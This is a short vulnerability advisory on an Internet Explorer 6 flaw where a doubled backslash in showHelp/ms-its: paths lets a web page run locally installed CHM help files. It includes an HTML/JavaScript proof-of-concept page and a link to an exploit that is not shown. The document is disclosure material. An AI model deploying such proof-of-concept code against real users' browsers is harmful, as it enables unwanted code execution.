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Showhelp() local CHM file execution




                            advisory#3
/--------------------------------------------------------------------/


Vendor:              Microsoft Corp.
product:             IE.6
test machine:        winxp.pro.ed ,ie6 (FP)
Discovery by:        Roozbeh Afrasiabi 
                     (roozbeh_afrasiabi(At)yahoo(dot)com)
Risk:                Low
Title:               Showhelp() local CHM file execution

/--------------------------------------------------------------------/









TABLE OF CONTENTS:
==================

Description..............................................1

PoC......................................................2

Exploit..................................................3

Contact info.............................................4

Disclaimer...............................................5











1)Description:
==================




While previous patches were to stop  showhelp from executing CHM files 
using their path, a weakness in the way the double  "\" is handled  by 
the its protocol handler allows for the execution of locally installed
CHM files.when "\\" is placed before  the name of target CHM  file the 
HELP folder is searched  for such  name , if the help folder dose  not
contain a file with that name then the  rootdrive  would be  the  next 
path to be searched,when a file  with  that name is found in either of 
these paths it would be executed .






2)POC
=========


<html>
<head>
<title>POC</title>
<p><br><b>HTM help file opened in an iframe</b><br><br>
<iframe id="target" width="700" height="400" src="ms-its:" name="target" 
scrolling="yes">
</iframe>
<!----SCRIPT LANGUAGE=javascript>
function getlink(){
showHelp("ms-its:\\ntshared.chm::/copyright.htm");
target.location="ms-its:\\ntshared.chm::/copyright.htm";
}
<!-----/script>
</head>
<body onload=getlink()>
</body>
</html>






3)Exploit
===========



http://www.freewebs.com/roozbeh_afrasiabi/xploit/index.htm





4)Contact Info
==================

roozbeh_afrasiabi(at)yahoo(dot)com
da_stone_cold_killer(at)yahoo(dot)com
me@persia-fars-shiraz

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5)Disclaimer
==================


Roozbeh Afrasiabi is not responsible for the misuse of the information  
provided in this report. In  no event shall  the  author  be liable for any  
damages whatsoever arising out of or in connection with the use or spread of 
this advisory. Any use of the information is at the user's own risk.





                                                                                
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